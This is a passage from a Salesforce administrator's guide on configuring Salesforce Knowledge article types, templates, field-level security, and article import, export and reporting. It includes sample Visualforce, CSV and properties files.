Assigning Article-Type Templates
Salesforce Knowledge Terminology

1483

Customize

Defining Article Types

Setting an Article's Field-Level Security


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set field-level security:

Customize Application
AND
Manage Salesforce Knowledge

Field-level security lets administrators restrict users access to specific fields on detail and edit pages. For example, you can
make a Comment field in an article visible for Internal App profiles but not for Customer Portal profiles.
If using both article-type layout and field-level security to define field visibility, the most restrictive field access setting always
applies. For example, if a field is hidden in the article-type layout, but visible in the field-level security settings, the layout
overrides security settings and the field won't be visible. Some user permissions override both page layouts and field-level
security settings. For example, users with the Edit Read Only Fields permission can always edit read-only fields regardless
of any other settings.
Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to
prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact
salesforce.com Customer Support.
To define field-level security:
1. Define security via a permission set, profile, or field.

For permission sets or profiles:


a. Select Your Name > Setup > Manage Users, then click Permission Sets or Profiles.
b. Select a permission set or profile.
c. Depending on which interface you're using, do one of the following:
Permission sets or enhanced profile user interfaceIn the Find Settings... box, enter the name of the object
you want and select it from the list. Click Edit, then scroll to the Field Permissions section.
Original profile user interfaceIn the Field-Level Security section, click View next to the object you want to
modify, and then click Edit.

For fields:
a. Select Your Name > Setup > Customize > Knowledge > Article Types.
b. Select the article type that contains the field to modify.
c. Select the field and click Set Field-Level Security.

2. Specify the field's access level.

1484

Customize

Defining Article Types

Note: These field access settings override any less-restrictive field access settings on the article-type layouts.

3. Click Save.
After setting field-level security, you can modify the article-type layouts to organize the fields on detail and edit pages.

See Also:
Adding Custom Fields to Article Types
Modifying Article-Type Layouts
Salesforce Knowledge Terminology

Custom Field Types on Articles


The first step in creating a custom field for articles is choosing the field type. The following custom field types are available.
Field Type

Description

Date

Allows users to enter a date or pick a date from a popup


calendar. In reports, you can limit the data by specific dates
using any custom date field.

Date/Time

Allows users to enter a date or pick a date from a popup


calendar, and enter a time of day. They can also add the current
date and time by clicking the date and time link next to the
field. The time of day includes AM or PM notation. In
reports, you can limit the data by specific dates and times using
any custom date field.

File

Allows users to upload and attach a file to an article. Note the


following caveats about File fields:
The maximum attachment size is 5 MB.
You can add up to 5 File fields to each article type; contact
Salesforce to increase these limits.
If the Disallow HTML documents and
attachments security setting is enabled, File fields do
not support HTML files.
Text content in a File field attachment is searchable. You
can search up to 25 MB of attached files on an article. For
example, if an article has six 5MB file attachments, the
first 4.16 MB of each file is searchable.
You cannot attach Salesforce CRM Content files using
the File field.
The File field type is not supported in Developer edition.
The filename cannot exceed 40 characters.
You cannot convert a File field type into any other data
type.

1485

Customize

Defining Article Types

Field Type

Description

Picklist

Allows users to select a value from a list you define.

Picklist (Multi-select)

Allows users to select more than one picklist value from a list
you define. These fields display each value separated by a
semicolon.

Text

Allows users to enter any combination of letters, numbers, or


symbols. You can set a maximum length, up to 255 characters.

Text Area

Allows users to enter up to 255 characters that display on


separate lines similar to a Description field.

Text Area (Long)

Allows users to enter up to 32,768 characters that display on


separate lines similar to a Description field. You can set
the length of this field type to a lower limit, if desired. Any
length from 256 to 32,768 characters is allowed. Note that
every time you press Enter within a long text area field, a
linebreak and a return character are added to the text. These
two characters count toward the 32,768 character limit. This
data type is not available for activities or products on
opportunities.

Text Area (Rich)

Allows users to enter up to 32,768 characters of


HTML-supported text. See Using Rich Text Area Fields on
page 1107.

See Also:
Changing Custom Field Type
Salesforce Knowledge Terminology
Adding Custom Fields to Article Types

Tracking Article History Events


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete article types:

Customize Application
AND
Manage Salesforce Knowledge

You can track the history of certain fields in articles. Modifying any of these fields adds a new entry to the History related list.
All entries include the date, time, nature of the change, and who made the change. History data does not count against your
organizations storage limit. Note that not all field types are available for history tracking. You can also set tracking for the

1486

Customize

Defining Article Types

article type and track the full history of an article and its versions. Salesforce stores up to 1000 of the most current tracked
events per article.
The system records and displays field updates, publishing workflow events, and language versions for the master article and
any translations. When you track old and new values, the system records both values as well as the date, time, nature of the
change, and the user who made the change. When you track only the changed values, the system marks the changed field as
having been edited; it doesnt record the old and new field values. This information is available in the Version History list and
the fields are available in the Article Version History report.
Article history respects field, entity, and record-level security. You must have at least Read permission on the article type or
the field to access its history. For data category security, Salesforce determines access based on the categorization of the online
version of an article. If there is no online version, then security is applied based on the archived version, followed by the security
of the draft version.
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Knowledge.


Click Article Types.
Create an article type or edit one from the Article Types list.
Click Set History Tracking.
Choose the fields you want to track.
Salesforce begins tracking history from that date and time. Changes made before that date and time are not tracked.
6. Click Save.

See Also:
Tracking Field History

Modifying Article-Type Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize the article-type layout:

Customize Application
AND
Manage Salesforce Knowledge

Article-type layouts determine which fields users can view and edit when entering data for an article. They also determine
which sections appear when users view articles. The format of the article, for example whether layout sections display as subtabs
or as a single page with links, is defined by the article-type template. Each article type has only one layout, but you can choose
a different template for each of the article type's four channels.
Tip: You can also use field-level security to hide fields on article types. For example, if you publish the same article
in the internal app and the Customer Portal, you may want to use field-level security to hide a custom field such as
Internal Comments from Customer Portal users.
To modify an article-type layout:

1487

Customize

1.
2.
3.
4.

Defining Article Types

Click Your Name > Setup > Customize > Knowledge > Article Types.
Select one of the article types in the list.
In the Fields related list, click Edit Layout.
When working on the layout:

The layout editor consists of two parts: a palette on the upper portion of the screen and the layout on the lower portion
of the screen. The palette contains the available fields and a section element. The layout contains an Information section
and space for you to add sections. By default, all custom fields are included in the Information section.
Note: The Article Number, Summary, Title, and URL Name standard fields do not display in the layout.
Article Number and Summary appear in a read-only Properties section at the top of the published article.
Also included in this header are the First Published, Last Modified, and Last Published fields.

To add a new section, drag and drop the section element into the palette.
To change the name of a section, click its title. You cannot rename the Information section.

To remove a field from a section, drag it to the right side of the palette or click the

To remove a section from the article-type layout, click the icon next to the section name.
Use the undo and redo buttons to step backwards and forwards, respectively.
Use the following keyboard shortcuts:

icon next to the field.

Undo = CTRL+Z
Redo = CTRL+Y
Quick Save = CTRL+S

To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click .
To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for article-type
layouts that have large numbers of items available in the palette.
To save your changes and continue editing the article-type layout, click Quick Save.
To save your changes when you are done customizing the article-type layout, click Save. If you navigate away from
your article-type layout before clicking save, your changes will be lost.

See Also:
Defining Article Types
Adding Custom Fields to Article Types
Setting an Article's Field-Level Security
Assigning Article-Type Templates

1488

Customize

Defining Article Types

Assigning Article-Type Templates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit article-type template assignments:

Manage Salesforce Knowledge

Article types in Salesforce Knowledge require a template for each channel.


The article-type template specifies how the sections defined in the article-type layout are rendered. Salesforce provides two
standard article-type templates, Tab and Table of Contents, and you can use Visualforce to create custom templates.
If you choose the Tab template, the sections you defined in the layout appear as tabs when users view an article.

Figure 7: Published Article Using the Tab Article-Type Template


If you choose the Table of Contents template, the sections you defined in the layout appear on one page with hyperlinks to
each section title.

Figure 8: Published Article Using the Table of Contents Article-Type Template


To choose the template assignment for a channel:
1.
2.
3.
4.

Click Your Name > Setup > Customize > Knowledge > Article Types.
Click a label to view the article-type detail page.
In the Channel Displays related list, click Edit.
For each channel, specify the template.

1489

Customize

Defining Article Types

For the internal app and the portals, Tab is the default template. For the public knowledge base, Table of Contents is the
default template. If your organization has a custom template for this article type, it also appears in the drop-down menu.
5. Click Save.

See Also:
Modifying Article-Type Layouts
Defining Article Types
Salesforce Knowledge Terminology

Creating Custom Article-Type Templates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete article-type templates:

Customize Application
AND
Manage Salesforce Knowledge

Article types in Salesforce Knowledge require a template for each channel.


The standard article-type templatesTab and Table of Contentsspecify how the sections in the article-type layout appear
in the published article. For example, if you choose the Tab template, the sections defined in the layout appear as tabs when
users view an article. With the Table of Contents template, sections appear on a single page with hyperlinks to each section.
You can also create a custom template using Visualforce. Custom templates are not associated with the article-type layout.
To create a custom article-type template:
1. Click Your Name > Setup > Customize > Knowledge > Article Types.
2. Find the article type you are creating the template for and click its title to open the detail page. Note the article type's API
Name. You will need this value when you create the Visualforce page.
3. Click Your Name > Setup > Develop > Pages.
4. Click New.
5. In the Name text box, enter the text that should appear in the URL as the page name. This name can contain only underscores
and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
6. In the Label text box enter the text that users will see when choosing this template from the Channel Displays related
list on the article type detail page.
7. Add your Visualforce markup. The only requirement for custom article-type templates is that the standard controller be
equal to the API Name of the article type. For example, if the API Name of the article type is Offer__kav, your markup
would be:
<apex:page standardController="Offer__kav">
... page content here ...

1490

Customize

Defining Article Types

</apex:page>

Note: Click Component Reference for a list of the Visualforce components, such as
knowledge:articleRendererToolbar and knowledge:articleCaseToolbar, available for use in
custom article-type templates.
8. If your article type has a File field, you can allow users to download the field's content. In the following example, the article
type is Offer, the name of the File field is my_file, and the text that appears as a link is Click me:
<apex:outputLink value="{!URLFOR($Action.Offer__kav.FileFieldDownload,
Offer__kav.id, ['field'=$ObjectType.Offer__kav.fields.my_file__Body__s.name])}">Click
me</apex:outputLink>

Note: If the File field is empty (meaning the author didn't upload a file), the link still appears on the published
article but has no function. If you do not want the link to appear when the File field is empty, replace Click me
in the example with the name of the file, for example, {!Offer__kav.my_file__Name__s}.
9. Click Save. Your custom template can now be assigned to any channel on the article type. See Assigning Article-Type
Templates on page 1489 for details.

See Also:
Developer's Guide: Visualforce Developer's Guide
Managing Visualforce Pages
Managing Article Types
Salesforce Knowledge Terminology

Deleting Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete article types:

Customize Application
AND
Manage Salesforce Knowledge

To delete an article type:


1. Click Your Name > Setup > Customize > Knowledge > Article Types.
2. Next to the target article type, click Del.
3. Confirm that you want to delete the article type.

1491

Customize

Defining Validation Status Picklist Values

Notes on Deleting Article Types


Note the following about deleting article types:

If your organization has only article type, you cannot delete it. Every Salesforce Knowledge org requires at least one deployed
article type. Create a new article type and then delete the old one.
Any articles associated with a deleted article type are automatically removed from all channels. This includes draft, published,
and archived articles.
Salesforce does not display deleted article types in the Recycle Bin with other deleted records. Instead, deleted article types
appear in the Deleted Article Types list on the article list view page for 15 days. During this time you can restore the article
type and its articles, or permanently erase the article type and its articles. After 15 days, the article type and its articles are
permanently erased.
If a user clicks a bookmark to a deleted article's URL, an Insufficient Privileges message displays.

See Also:
Defining Article Types
Salesforce Knowledge Terminology

Defining Validation Status Picklist Values


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change validation status picklist values:

Customize Application
AND
Manage Salesforce Knowledge

This page enables you to add or edit article validation statuses for article types.
When the Validation Status field is enabled on the Knowledge Settings page, you can create picklist values that show
the state of the article in the article publication lifecycle. For example, values in the article lifecycle could be Validated,
Not Validated, or Needs Review.
Note: Validation status picklist values arent retained when you export articles for translation. Articles with picklist
values can be imported, however, and their values are retained as long as the values exist in your organzation.
1. Click Your Name > Setup > Customize > Knowledge > Validation Statuses.
2. On the picklist edit page, click New to add new values to the validation status field. You can also edit , delete, reorder, and
replace picklist values.
When you replace a picklist value, the system replaces it in all versions of the article, including any archived versions.
3. Add one or more picklist values (one per line) in the text area.
4. To set the value as the default for the picklist, be sure to select the Default checkbox.

1492

Customize

Assigning Article Actions to Public Groups

5. Click Save.

See Also:
Managing Articles and Translations

Assigning Article Actions to Public Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create public groups and assign them to article actions:

Customize Application
AND
Manage Users
AND
Manage Salesforce Knowledge

Article actions allow users to manage the article publishing and translation processes. By default all article actions are assigned
to users with the Manage Articles user permission, and users can complete an action as long as they also have the correct
article type permissions (as described in the table below). You can set up more granular control of article actions by restricting
them to public groups.
This table summarizes the article type permissions that are required for each article action.
Article Action

Create

Read

Edit

Delete

Publish Articles
Archive Articles
Delete Articles
Edit Published and Archived Articles
Submit Articles for Translation
Publish Translation
Edit Translation

To assign article actions to public groups:


1. Create a public group for each set of users.

1493

Customize

Assigning Article Actions to Public Groups

Note: Although you can add any Salesforce user to a public group, only users with the Manage Articles user
permission and the appropriate object permissions can perform article actions.
2. Click Your Name > Setup > Customize > Knowledge > Article Actions and decide which users need to perform which
actions. For example, you might decide that a group named Publishers needs to publish, archive, and delete articles and
that a group named Translators needs to submit articles for translation and publish and archive translated articles.
3. Assign the public groups to article actions:
a. On the Your Name > Setup > Customize > Knowledge > Article Actions page click Edit.
b. For the action you want to modify, select the appropriate radio button and choose a public group. If you don't modify
an article action, all users with the Manage Articles permission can perform that action.
c. Click OK and Save.

See Also:
Creating and Editing Groups
Setting Up Salesforce Knowledge
User Permissions
Defining Article Types

1494

Customize

Importing Articles

Importing Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import articles:

Manage Salesforce Knowledge


AND
Manage Articles
AND
Manage Knowledge Article Import/Export
AND
Read, Create, Edit, and Delete on the article type

To view articles:
To create articles:

Read on the article type


Manage Articles
AND
Read and Create on the article type

You can import your existing articles and their translations into Salesforce Knowledge. This importer is for articles and
translations you currently have outside Salesforce Knowledge.
Note: If you are looking for instructions on importing translated articles that you've sent to a localization vendor, see
Importing Article Translations on page 1506.
After setting up Salesforce Knowledge, complete the tasks below to import articles:
1.
2.
3.
4.
5.

Prepare Articles for Import to Salesforce Knowledge


Create a .csv File for Article Import
Specify Parameters for Article Import
Create a .zip File for Article Import
View Salesforce Knowledge Import and Export Status

See Also:
Salesforce Knowledge Overview
Setting Up Salesforce Knowledge

1495

Customize

Importing Articles

Prepare Articles for Import to Salesforce Knowledge


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import articles:

Manage Salesforce Knowledge


AND
Manage Articles
AND
Manage Knowledge Article Import/Export
AND
Read, Create, Edit, and Delete on the article type

To view articles:
To create articles:

Read on the article type


Manage Articles
AND
Read and Create on the article type

Important: You must import articles one article type at a time.

To prepare articles for importing:


1. Sort your existing articles by information type. For example: FAQ, product information, or offer.
2. Ensure that each information type has a corresponding Salesforce Knowledge article type that matches its structure and
content. For example, if you are importing FAQs, ensure that Salesforce Knowledge has an FAQ article type with enough
question and answer fields to accommodate the largest FAQ article.
3. Verify that the article's field-level security settings allow you to edit the fields.
If your articles contain .html files, use an article type that contains a rich text area field and ensure that the HTML is compliant
with the tags and attributes supported in the rich text area field.
Tip: Test your import using a small set of articles.

See Also:
Importing Articles
Create a .csv File for Article Import

1496

Customize

Importing Articles

Create a .csv File for Article Import


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import articles:

Manage Salesforce Knowledge


AND
Manage Articles
AND
Manage Knowledge Article Import/Export
AND
Read, Create, Edit, and Delete on the article type

To view articles:
To create articles:

Read on the article type


Manage Articles
AND
Read and Create on the article type

Each .csv file imports articles into one article type and maps the imported articles' content with the article type's fields. For
example, a .csv file might map articles' titles with the standard field Title in an article type, meaning that each article's title
is imported into the Title field.
1. Create one .csv file per article type.

.csv files cant have more than 10,000 rows, including the header row.
.csv file rows cant exceed 400,000 characters.
.csv file cells cant exceed 32 KB.
Each article in the .csv file cant have more than 49 translations.

2. In the first row, specify the article type's fields and metadata (such as language data categories or channels). Enter one item
in each column. You can use the following fields and metadata to import content:

isMasterLanguageidentify the article as a master (1) or translation (0). Required to import articles with translations,

however, it cant be in a .csv file to import articles without translations. Translations must follow their master articles
so that they are associated with the master article preceding it.
Titlethe article or translations title. Required for all imports.
Standard or custom fieldsrefer to an article type's standard fields using field names and refer to custom fields using
API names. Leaving a row cell empty may cause your articles to be skipped if the related article-type field is mandatory.
Rich text area fielduse the rich text area custom fields to import .html files or images. Refer to an article type's rich
text area field using its API name.

1497

Customize

Importing Articles

File fielduse the file custom fields to import any file type (.doc, .pdf, .txt, etc.). Refer to an article type's file field
using its API name.
To categorize the imported articles, use category groups; refer to a category group using its unique name prefixed with
datacategorygroup. For example, use datacategorygroup.Products to specify the category group Products.
To specify where the imported articles are available, use the keyword Channels.
Languagespecify the articles' language. Required to import articles with translations. Optional to import articles
without translations. If you don't include this column, the articles will automatically belong to the default knowledge
base language and you cant import translations along with the master articles.

3. In subsequent rows, specify the articles you want to import. Use one row per article and enter the appropriate information
in each article type field column or metadata column.

Standard or custom fieldsenter the articles' data for each field, except for rich text area fields where you must enter
the relative path to the corresponding .html file in your .zip file.
Rich text area fieldalways enter the .html file path relative to the location of the .csv file. Never enter raw text. If the
specified path doesn't exist, the related article isn't imported. Note the following information about importing HTML
and images:
We recommend that you create separate folders for the .html files (for example, /data) and the images (for example,
data/images).
To import images, include the images in an .html file using the <img> tag and src attribute. Ensure that the src
value is a relative path from the .html file to the image folder.
Images must be .png, .gif, or .jpeg files.
Each image file cant exceed 1 MB.
.html files cant exceed the maximum size for their field.
If a date doesn't match the date format specified in the property file, the related article isn't imported.
If an .html file references a file that isn't allowed, the related article isn't imported.
If an .html file references an image that's missing, the related article is imported without the image.

File fieldenter the path relative to the file's location. If the specified path doesn't exist, the related article isn't imported.
Note the following information about importing files:
We recommend that you create a folder for your files (for example, /files).
Each file must not exceed 5 MB.

Category groupsuse category unique names to categorize articles. Use the plus symbol (+) to specify more than one
category. For example, Laptop+Desktop. Note the following information about data category groups:
Leaving the cell row empty causes your article to be set to No Categories.
If you specify a category and its parent (for example, Europe+France) the import process skips the child category
France and keeps the parent category Europe, because application of a parent category implicitly includes the
category's children.
When importing articles with translations and associated data categories, only the master article retains the data
categories. The article translations have no associated data category upon import.

Channelsspecify articles' channels using the keywords:


application for the internal application. If you don't specify a channel, application is the default.
sites for a public knowledge base.
csp for the Customer Portal.

1498

Customize

Importing Articles

prm for the partner portal.


Use the plus (+) symbol to specify more than one channel (for example, application+sites+csp to make an article
available in all channels).
Note: When importing articles with translations and associated channels, only the master article retains the
channels. The article translations have no associated channels upon import.

The following example .csv files import articles in a Product Offer article type. The first example is for imports of articles
without translations. The second is for imports with translations. The .csv files contain titles, summaries, and descriptions.
They also classify the articles in the category group Products and make them available for specific channels. The
description__c field is a rich text area and only supports paths to .html files. The summary__c field is a text field and
only supports raw text. The Best Desktop Computer Deals article has no summary; the cell is left blank because the
summary__c field is not mandatory.
Title

summary__c

description__c

datacategorygroup
.Products

Channels

Free Digital Camera


Offer

Get the new Digital


Camera.

data/freecam.html

Consumer_ Electronics application+csp

Best Desktop
Computer Deals

data/bestdeals.html

Desktop

application+csp

Free Shipping on
Laptop and Desktops

data/freeship.html

Laptop+Desktops

application+csp

Example articlesimport.csv file:


Title,summary__c,description__c,datacategorygroup.Products,Channels
Free Digital Camera Offer, Get the new Digital
Camera.,data/freecam.html,Consumer_Electronics,application+csp
Best Desktop Computer Deals,,data/bestdeals.html,Desktop,application+csp
Free Shipping on Laptop and Desktops,,data/freeship.html,Laptop+Desktops,application+csp
isMaster
Language

Title

summary__c

Free Digital Camera Offer Get the new Digital


Camera.

Librer l'Offre d'Appareil Obtenir le nouvel Appareil data/freecam/fr.html


photo digital
photo digital.

fr

Liberte Oferta Digital de


Cmara

es

Best Desktop Computer


Deals

data/bestdeals.html

Meilleures Affaires
d'ordinateurs de bureau

data/bestdeals/fr.html

fr

Mejores Tratos de
ordenadores

data/bestdeals/es.html

es

Consiga la nueva Cmara


Digital.

description__c

datacategorygroup
.Products

Channels

Language

data/freecam.html

Consumer_ Electronics

application
+csp

en_US

data/freecam/es.html
Desktops

application
+csp

en_US

1499

Customize

Importing Articles

isMaster
Language

Title

summary__c

description__c

datacategorygroup
.Products

Channels

Language

Free Shipping on Laptops


and Desktops

data/freeship.html

Laptops+ Desktops

application
+csp

en_US

Librer Affranchissement
sur Portables et
Ordinateurs

data/freeship/fr.html

fr

Liberte Franqueo en
Laptops y Ordenadores

data/freeship/es.html

es

Example articlestranslationsimport.csv file:


isMasterLanguage,Title,summary__c,description__c,datacategorygroup.Products,Channels,Language
1,Free Digital Camera Offer,Get the new Digital
Camera,data/freecam.html,Consumer_Electronics,application+csp,en
0,Librer l'Offre d'Appareil photo digital,Obtenir le nouvel Appareil photo
digital.,data/freecam/fr.html,,,fr
0,Liberte Oferta Digital de Cmara,Consiga la nueva Cmara Digital.,data/freecam/es.html,,,es
1,Best Desktop Computer Deals,,data/bestdeals.html,Desktops,application+csp,en
0,Meilleures Affaires d'ordinateurs de bureau,,data/bestdeals/fr.html,,,fr
0,Mejores Tratos de ordenadores,,data/bestdeals/es.html,,,es
1,Free Shipping on Laptop and Desktops,,data/freeship.html,Laptops+Desktops,application+csp,en
0,Librer Affranchissement sur Portables et Ordinateurs,,data/freeship/fr.html,,,fr
0,Liberte Franqueo en Laptops y Ordenadores,,data/freeship/es.html,,,es

See Also:
Importing Articles
Prepare Articles for Import to Salesforce Knowledge
Specify Parameters for Article Import

1500

Customize

Importing Articles

Specify Parameters for Article Import


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import articles:

Manage Salesforce Knowledge


AND
Manage Articles
AND
Manage Knowledge Article Import/Export
AND
Read, Create, Edit, and Delete on the article type

To view articles:

Read on the article type

To create articles:

Manage Articles
AND
Read and Create on the article type

Specify import parameters in a property file using key names and corresponding values. For example, use the key DateFormat
to specify that a date custom field appears in the DateFormat=dd/MM/YYYY format or specify the character encoding to be
used for the import.
Create a file with the .properties extension and specify the required parameters, as described in this table.
Key

Description

Default Value

DateFormat

Format of the date to read in the .csv file yyyy-MM-dd

DateTimeFormat

Format of the date and time to read in yyyy-MM-dd HH:mm:ss


the .csv file

CSVEncoding

Character encoding used to read the .csv ISO8859_15_FDIS


file

CSVSeparator

.csv file separator

RTAEncoding

Default encoding used for the HTML ISO8859_15_FDIS


files (if not specified in the charset
attribute from the HTML meta tag).

Note: Salesforce does not


support UTF-32 character
encoding. We recommend using
UTF-8. If you use specify

1501

Customize

Importing Articles

Key

Description

Default Value

UTF-16 character encoding,


ensure your HTML files specify
the right byte-order mark.

Note: You must specify only Java date formats. Make sure the date format is not misleading. For example, if you
choose the format yyyy-M-d, a date entered as 2011111 can be interpreted as 2011-01-11 or 2011-11-01. Specify at
least :

Two digits for month and day format (MM, dd)


Four digits for year format (yyyy)

If a date in the .csv file does not match the date format specified in the property file, the related article is not imported.
Example offerarticlesimport.properties property file:
DateFormat=yyyy-MM-dd
DateTimeFormat=yyyy-MM-dd HH:mm:ss
CSVEncoding=ISO8859_15_FDIS
CSVSeparator=,
RTAEncoding=UTF-8

See Also:
Importing Articles
Create a .csv File for Article Import
Create a .zip File for Article Import

1502

Customize

Importing Articles

Create a .zip File for Article Import


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import articles:

Manage Salesforce Knowledge


AND
Manage Articles
AND
Manage Knowledge Article Import/Export
AND
Read, Create, Edit, and Delete on the article type

To view articles:
To create articles:

Read on the article type


Manage Articles
AND
Read and Create on the article type

To complete the import, create a .zip file containing:

The .csv file.


The folder containing the .html files to import.
The folder containing the image files referenced in the .html files.
The .properties file.

The import .zip file must meet the following requirements:

There can only be one .csv file and one .properties file.
The .csv file and the .properties file must be in the root directory.
The compression process must preserve the folder and subfolder structure.
The .zip file cant exceed 10 MB and the uncompressed files cant exceed 100 MB.
.csv files cant have more than 10,000 rows, including the header row.
.csv file rows cant exceed 400,000 characters.
.csv file cells cant exceed 32 KB.
Each article in the .csv file cant have more than 49 translations.

Upload your .zip file:


1. Select Your Name > Setup > Data Management > Import Articles.
2. Select the appropriate Article Type for the imported articles.
3. Click Browse to select the .zip file, and click OK.

1503

Customize

Importing Articles

4. If your import contains translations, select the Contains translations? checkbox.


Note: If this checkbox is selected, your .csv file must contain the isMasterLanguage, Title, and Language columns.
If this checkbox is not selected, your csv file cant contain the isMasterLanguage column but must contain the Title
column. The Language column is optional for imports of articles without translations.
5. Click Import Now.
When the import is complete you receive an email with an attached log that provides details about the import.

See Also:
Importing Articles
Specify Parameters for Article Import
View Salesforce Knowledge Import and Export Status

View Salesforce Knowledge Import and Export Status


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import articles:

Manage Salesforce Knowledge


AND
Manage Articles
AND
Manage Knowledge Article Import/Export
AND
Read, Create, Edit, and Delete on the article type

To view articles:
To create articles:

Read on the article type


Manage Articles
AND
Read and Create on the article type

To check the status of your imports and exports, click Your Name > Setup > Monitoring > Article Imports and Exports. If
you've enabled multiple languages for Salesforce Knowledge, you see two tables: one for article and translation imports and
another for exports for translation.
Import information includes:

Possible actions

1504

Customize

Importing Articles

.Zip file names


Who submitted it and when
Status
Started and completed dates
Article types

Export information includes:

Possible actions
Zip file names
Who submitted it and when
Status
Started and completed dates

Status descriptions are as follows:


Status

Description

Possible Action

Pending

The import or export will start as soon You can click Cancel to cancel the import
as the previous pending import or export or export.
completes.

Processing

The import or export is processing.

If you want to stop the process, or if the


process has been stopped, call Salesforce
Support. Salesforce may stop an import
or export if a maintenance task has to be
performed or the import or export exceeds
one hour.

Stopping/Stopped

Salesforce Support is stopping or has


already stopped the import or export.

Contact Salesforce Support to restart the


import or export, or click Cancel to
cancel an entry.

Aborted

The import or export has been canceled.


The articles that already imported or
exported successfully are available in
Salesforce.

You can restart an import or export, click


Del to delete an entry, or click Email Log
to receive the completion email and check
the details of your import or export.

Completed

The import or export is complete.

Note that this status doesn't mean the


import or export is successful. Click
Successfully imported articles are visible
Email Log to see the log file attached to
on the Article Management tab on the
the completion email and check the
Articles subtab. Successfully imported
details of your import or export.
translations are visible on the Article
Management tab on the Translations Click the exported .zip file name to save
subtab.
or open the file on your system.

See Also:
Importing Articles

1505

Customize

Importing Article Translations

Importing Article Translations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import articles:

Manage Salesforce Knowledge


AND
Manage Articles
AND
Manage Knowledge Article Import/Export
AND
Read, Create, Edit, and Delete on the article type

To view articles:
To create articles:

Read on the article type


Manage Articles
AND
Read and Create on the article type

Consider the following before importing translated articles into Salesforce:

You can only import articles that have been exported from the same Salesforce organization. For example, you can't export
articles from your test or sandbox organization and import them into your production organization.
You must place all the translation files (meaning, those exported from Salesforce and translated by your vendor) in a folder
whose name is the same as the language code. For example, put French articles in an fr folder. Zip up this folder to create
your import file.
To import translated articles successfully, verify that the file structure and their extensions match the file structure and
extensions of files exported from Salesforce Knowledge for translation. For example, if the target language is French, the
file structure begins as follows:
import.properties
-fr
--articletypearticlename_kav
---articlename.csv
---[Article collateral, html, images, etc.]

To import translated articles:


1. Click Your Name > Setup > Data Management > Import Article Translations.
2. Choose how Salesforce handles translations after they're imported.

1506

Customize

Reporting on Articles

Option

Description

Review imported translations on the Article Add imported translations to a queue from which users can
Management tab before publishing
review them.
Publish translations immediately on import Publish imported translations without reviews.

3. Select the language of the articles you're importing.


4. Optionally, if you chose to have articles reviewed before publishing, select to send the files to a user or a queue and then
select the name of the user or queue.
5. Click Browse, choose the translation .zip file to upload, and click Open.
6. Click Import Now.
If you have more translated articles to upload, repeat steps four through six.
7. Click Finish.
An email notification is sent to you when your import finishes. You can view the status of your import by clicking Your
Name > Setup > Monitoring > Article Imports and Exports.

See Also:
Setting up a Multilingual Knowledge Base
Exporting Articles for Translation

Reporting on Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or update custom report types:

Manage Custom Report Types

To create a public reports folder

Manage Public Reports

As an administrator, you can create custom report types so users can create reports about Salesforce Knowledge articles. Custom
report types are the only way to make reports about articles available for your usersSalesforce does not provide sample article
reports or a standard report folder for articles.
Tip: The Knowledge Base Dashboards and Reports AppExchange package provides over two dozen reports that help
you monitor the knowledge base and analyze usage metrics.
The following sections explain how to define custom report types, create a public folder that appears on the Reports tab, and
add custom reports to the folder so users can easily access article reports. Field definitions for article reports and a list of tips
are also provided.

1507

Customize

Reporting on Articles

Step 1. Create a Custom Report Type for Article Data


To create a custom report:
1. Click Your Name > Setup > Create > Report Types and click New Custom Report Type.
2. In the Primary Object drop-down menu, select the article-related object you want to report on:

Knowledge ArticlesSelect if you want to compare information about individual articles, such as their creation dates,
published channels, and number of associated cases. If you choose this custom report type, you can also include article
view and vote statistics.
Custom article typesSelect if you want to compare information such as creation dates, published channels, and
number of associated cases for a custom article type like an FAQ. Be sure to add the custom article types version as a
secondary object to access any custom fields for the custom article type.
Knowledge Article SearchesSelect if you want to analyze the number of searches per day, month, or year for each
channel and role.
Knowledge Article VersionSelect if you want to compare information about individual translations, such as their
creation dates, published channels, and number of associated cases. If you choose this custom report type, you can also
include article view and vote statistics.
Knowledge Article ViewsSelect if you want to analyze the number of views per day, month, or year for each channel
and role.
Knowledge Article VotesSelect if you want to analyze the number of votes per day, month, or year for each channel
and role.
Knowledge Keyword SearchSelect if you want to see which keywords have been used to search the knowledge base.

3. Complete the required fields and click Save.


Tip: In the Store in Category drop-down menu, we recommend choosing Customer Support Reports or Other
Reports. This is the category where users will find the custom report type on the Reports tab.
4. Make your choice on the Define Report Records Set page and click Save. If you chose Knowledge Articles as the primary
object, you can associate Article Vote Statistics or Article View Statistics as the secondary object.
5. As needed, remove and rearrange fields from your report layout.
Step 2. Create a Folder for Article Reports
Create a public folder where you can store article reports for your users. Reports you store in this folder will be available on
the Reports tab.
1.
2.
3.
4.
5.

In the Report Folder section of the Reports tab, click Create New Folder.
Enter Article Reports in the Folder Label field.
Modify the Group Unique Name if needed.
Choose a Public Folder Access option. Select read/write if you want users to be able to add and remove reports.
Choose a folder visibility option and click Save.

Step 3. Create an Article Report


Using your custom report types, create article reports and save them to the new Article Reports folder.
Tip: To help you run an article report, review the report field definitions and report tips.

1. On the Reports tab, click New Report.


2. Choose the category where your custom report types are stored, for example, Customer Support Reports or Other Reports.

1508

Customize

Reporting on Articles

